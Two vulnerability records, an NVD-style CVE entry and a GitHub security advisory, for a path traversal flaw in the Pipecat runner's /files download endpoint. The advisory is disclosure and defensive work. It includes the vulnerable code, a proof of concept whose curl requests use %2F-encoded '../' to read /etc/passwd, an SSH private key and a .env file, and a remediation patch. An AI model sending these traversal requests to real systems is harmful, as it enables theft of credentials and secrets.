{
  "affected": [
    {
      "affectedData": [
        {
          "product": "pipecat",
          "vendor": "pipecat-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.0.90, \u003c 1.2.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:pipecat:pipecat:*:*:*:*:*:python:*:*",
              "matchCriteriaId": "B0A9BA71-D10B-4DA6-9BDC-A771F4FE5E72",
              "versionEndExcluding": "1.2.0",
              "versionStartIncluding": "0.0.90",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pipecat is an open-source Python framework for building real-time voice and multimodal conversational agents. From version 0.0.90 to before version 1.2.0, a path traversal vulnerability exists in Pipecat\u0027s development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access \u2014 including SSH private keys, credentials, and system files \u2014 with a single unauthenticated HTTP request. This issue has been patched in version 1.2.0."
    }
  ],
  "id": "CVE-2026-44716",
  "lastModified": "2026-06-17T10:51:16.083",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44716",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-10T13:13:50.203389Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-10T00:16:53.110",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/pipecat-ai/pipecat/commit/7519c26ac5508573c35fa3a9c4717b013993d129"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/pipecat-ai/pipecat/pull/4417"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/pipecat-ai/pipecat/releases/tag/v1.2.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-3363-2ph6-35wh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pipecat-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.90"
            },
            {
              "fixed": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T16:55:04Z",
    "nvd_published_at": "2026-06-10T00:16:53Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA path traversal vulnerability exists in Pipecat\u0027s development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access \u2014 including SSH private keys, credentials, and system files \u2014 with a single unauthenticated HTTP request.\n\nConfirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`.\n\n---\n\n## Details\n\nThe vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249\u2013264:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    \"\"\"Handle file downloads.\"\"\"\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    file_path = Path(args.folder) / filename          # \u2190 no containment check\n    if not os.path.exists(file_path):\n        raise HTTPException(404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n\n    return FileResponse(path=file_path, media_type=media_type, filename=filename)\n```\n\n`Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python\u0027s `pathlib` does not strip `..` segments during join \u2014 only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal.\n\nFor example:\n\n```\nGET /files/..%2F..%2Fetc%2Fpasswd\n                   \u2193\nfilename = \"../../etc/passwd\"          (after Starlette decodes %2F)\nfile_path = Path(\"/tmp/media\") / \"../../etc/passwd\"\n          = Path(\"/tmp/media/../../etc/passwd\")\n          \u2192 resolves to /etc/passwd    (os.path.exists returns True)\n```\n\nThe endpoint has no authentication \u2014 the runner does not implement any auth layer \u2014 so the request requires no credentials.\n\n---\n\n## Proof of Concept\n\n### Step 1 \u2014 Start the Pipecat runner with `--folder`\n\nThe runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic:\n\n```python\n# minimal_bot.py\nasync def bot(runner_args):\n    import asyncio\n    await asyncio.sleep(86400)\n\nif __name__ == \"__main__\":\n    from pipecat.runner.run import main\n    main()\n```\n\nStart the runner:\n\n```bash\npip install \"pipecat-ai[runner,webrtc]\"\n\nmkdir /tmp/bot_media\necho \"session transcript\" \u003e /tmp/bot_media/recording.txt\n\npython minimal_bot.py \\\n    -t webrtc \\\n    --host 127.0.0.1 \\\n    --port 7860 \\\n    --folder /tmp/bot_media\n```\n\nExpected output:\n\u003cimg width=\"1626\" height=\"462\" alt=\"image\" src=\"https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f\" /\u003e\n\n### Step 2 \u2014 Exploit\n\n```bash\n# Legitimate request \u2014 serves a file inside --folder\ncurl \"http://127.0.0.1:7860/files/recording.txt\"\n# \u2192 session transcript\n\n# Literal ../ \u2014 blocked by Starlette path normalisation\ncurl \"http://127.0.0.1:7860/files/../../etc/passwd\"\n# \u2192 {\"detail\":\"Not Found\"}\n\n# %2F-encoded separators \u2014 bypass normalisation, read /etc/passwd\ncurl \"http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd\"\n# \u2192 ## User Database\n#   root:*:0:0:System Administrator:/var/root:/bin/sh\n#   ...\n\n# Read SSH private key\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa\"\n# \u2192 -----BEGIN OPENSSH PRIVATE KEY-----\n#   b3BlbnNzaC1rZXktdjEAAAA...\n\n# Read application secrets\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F.env\"\n```\n\n### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)\n\n| Request | HTTP status | Content |\n|---------|-------------|---------|\n| `GET /files/recording.txt` | 200 | Legitimate file |\n| `GET /files/../../etc/passwd` | 404 | Blocked \u2014 literal `..` normalised away |\n| `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` |\n| `GET /files/..%2F..%2F..%2Fhome/\u2026/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) |\n\u003cimg width=\"2222\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49\" /\u003e\n\u003cimg width=\"1304\" height=\"314\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba\" /\u003e\n\u003cimg width=\"1188\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00\" /\u003e\n\n---\n\n## Impact\n\nThe `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.\n\nAn attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process:\n\n- SSH private keys and TLS certificates\n- `.env` files and application credentials\n- Database files, session tokens, API keys\n- System files such as `/etc/passwd` and `/etc/shadow` (on Linux)\n- Source code, config files, and secrets in parent directories of `--folder`\n\n---\n\n## Remediation\n\nCall `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    allowed_base = Path(args.folder).resolve()\n    file_path = (allowed_base / filename).resolve()   # resolve AFTER join\n\n    if not file_path.is_relative_to(allowed_base):    # containment check\n        raise HTTPException(status_code=403, detail=\"Access denied\")\n    if not file_path.exists():\n        raise HTTPException(status_code=404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)\n```\n\n`Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.",
  "id": "GHSA-3363-2ph6-35wh",
  "modified": "2026-06-10T13:41:01Z",
  "published": "2026-05-15T16:55:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-3363-2ph6-35wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipecat-ai/pipecat/pull/4417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipecat-ai/pipecat/commit/7519c26ac5508573c35fa3a9c4717b013993d129"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pipecat-ai/pipecat"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipecat-ai/pipecat/releases/tag/v1.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint \u2014 Arbitrary File Read via `%2F`-Encoded Separator"
}